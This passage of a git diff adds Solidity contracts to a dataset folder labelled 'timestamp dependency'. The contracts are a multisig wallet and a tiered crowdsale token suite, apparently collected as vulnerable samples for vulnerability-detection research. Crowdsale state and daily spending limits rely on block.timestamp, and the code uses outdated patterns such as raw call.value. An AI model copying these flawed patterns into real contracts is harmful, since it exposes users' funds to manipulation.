Deposit(msg.sender, msg.value); + } + } + + function getAuthority(uint256 index) public view returns (address) { + return authorities[index + 1]; + } + + function getAuthorityIndex(address authority) public view returns (uint256 index) { + index = authorityIndex[authority]; + require(index > 0); + } + + function isAuthority(address authority) public view returns (bool) { + return authorityIndex[authority] > 0; + } + + function hasConfirmed(bytes32 operation, address _address) public view returns (bool) { + return (pendingTransaction[operation].confirmBitmap & (1 << getAuthorityIndex(_address))) != 0; + } + + function changeAuthority(address from, address to) public confirmAndRun(keccak256(msg.data)) { + require(!isAuthority(to)); + + uint256 index = getAuthorityIndex(from); + authorities[index] = to; + authorityIndex[to] = index; + delete authorityIndex[from]; + clearPending(); + + emit AuthorityChanged(from, to); + } + + function addAuthority(address authority) public confirmAndRun(keccak256(msg.data)) { + require(!isAuthority(authority)); + if (numAuthorities >= MAX_AUTHORITIES) { + reOrganizeAuthorities(); + } + require(numAuthorities < MAX_AUTHORITIES); + + numAuthorities += 1; + authorities[numAuthorities] = authority; + authorityIndex[authority] = numAuthorities; + clearPending(); + + emit AuthorityAdded(authority); + } + + function removeAuthority(address authority) public confirmAndRun(keccak256(msg.data)) { + require(numAuthorities > requiredAuthorities); + + uint256 index = getAuthorityIndex(authority); + delete authorities[index]; + delete authorityIndex[authority]; + clearPending(); + reOrganizeAuthorities(); + + emit AuthorityRemoved(authority); + } + + function setRequirement(uint256 required) public confirmAndRun(keccak256(msg.data)) { + require(numAuthorities >= requiredAuthorities); + clearPending(); + + emit RequirementChanged(requiredAuthorities = required); + } + + function setDailyLimit(uint256 _dailyLimit) public confirmAndRun(keccak256(msg.data)) { + clearPending(); + + emit DayLimitChanged(dailyLimit = _dailyLimit); + } + + function resetSpentToday() public confirmAndRun(keccak256(msg.data)) { + clearPending(); + + emit SpentTodayReset(spentToday); + delete spentToday; + } + + function propose( + address to, + uint256 value, + bytes data + ) + public + onlyAuthority + returns (bytes32 operation) + { + if ((data.length == 0 && checkAndUpdateLimit(value)) || requiredAuthorities == 1) { + emit SingleTransaction(msg.sender, to, value, data, execute0(to, value, data)); + } else { + operation = keccak256(abi.encodePacked(msg.data, pendingOperation.length)); + PendingTransactionState storage status = pendingTransaction[operation]; + if (status.info.to == 0 && status.info.value == 0 && status.info.data.length == 0) { + status.info = TransactionInfo({ + to: to, + value: value, + data: data + }); + } + + if (!confirm(operation)) { + emit ConfirmationNeeded(msg.sender, operation, to, value, data); + } + } + } + + function revoke(bytes32 operation) public { + uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender); + PendingTransactionState storage state = pendingTransaction[operation]; + if (state.confirmBitmap & confirmFlag > 0) { + state.confirmNeeded += 1; + state.confirmBitmap &= ~confirmFlag; + emit Revoke(msg.sender, operation); + } + } + + function confirm(bytes32 operation) public confirmAndRun(operation) returns (bool) { + PendingTransactionState storage status = pendingTransaction[operation]; + if (status.info.to != 0 || status.info.value != 0 || status.info.data.length != 0) { + emit MultiTransaction( + msg.sender, + operation, + status.info.to, + status.info.value, + status.info.data, + execute0(status.info.to, status.info.value, status.info.data) + ); + delete pendingTransaction[operation].info; + + return true; + } + } + + function execute0( + address to, + uint256 value, + bytes data + ) + private + returns (address created) + { + if (to == 0) { + created = create0(value, data); + } else { + require(to.call.value(value)(data)); + } + } + + function create0(uint256 value, bytes code) internal returns (address _address) { + assembly { + _address := create(value, add(code, 0x20), mload(code)) + if iszero(extcodesize(_address)) { + revert(0, 0) + } + } + } + + function confirmAndCheck(bytes32 operation) private returns (bool) { + PendingTransactionState storage pending = pendingTransaction[operation]; + if (pending.confirmNeeded == 0) { + pending.confirmNeeded = requiredAuthorities; + delete pending.confirmBitmap; + pending.index = pendingOperation.length; + pendingOperation.push(operation); + } + + uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender); + + if (pending.confirmBitmap & confirmFlag == 0) { + emit Confirmation(msg.sender, operation); + if (pending.confirmNeeded <= 1) { + delete pendingOperation[pending.index]; + delete pending.confirmNeeded; + delete pending.confirmBitmap; + delete pending.index; + return true; + } else { + pending.confirmNeeded -= 1; + pending.confirmBitmap |= confirmFlag; + } + } + } + + function checkAndUpdateLimit(uint256 value) private returns (bool) { + if (today() > lastDay) { + spentToday = 0; + lastDay = today(); + } + + uint256 _spentToday = spentToday.add(value); + if (_spentToday <= dailyLimit) { + spentToday = _spentToday; + return true; + } + return false; + } + + function today() private view returns (uint256) { + return block.timestamp / 1 days; + } + + function reOrganizeAuthorities() private { + uint256 free = 1; + while (free < numAuthorities) { + while (free < numAuthorities && authorities[free] != 0) { + free += 1; + } + while (numAuthorities > 1 && authorities[numAuthorities] == 0) { + numAuthorities -= 1; + } + if (free < numAuthorities && authorities[numAuthorities] != 0 && authorities[free] == 0) { + authorities[free] = authorities[numAuthorities]; + authorityIndex[authorities[free]] = free; + delete authorities[numAuthorities]; + } + } + } + + function clearPending() private { + for (uint256 i = 0; i < pendingOperation.length; i += 1) { + delete pendingTransaction[pendingOperation[i]]; + } + delete pendingOperation; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2641.sol b/smart_contract_dataset/timestamp dependency/2641.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2641.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2646.sol b/smart_contract_dataset/timestamp dependency/2646.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2646.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % 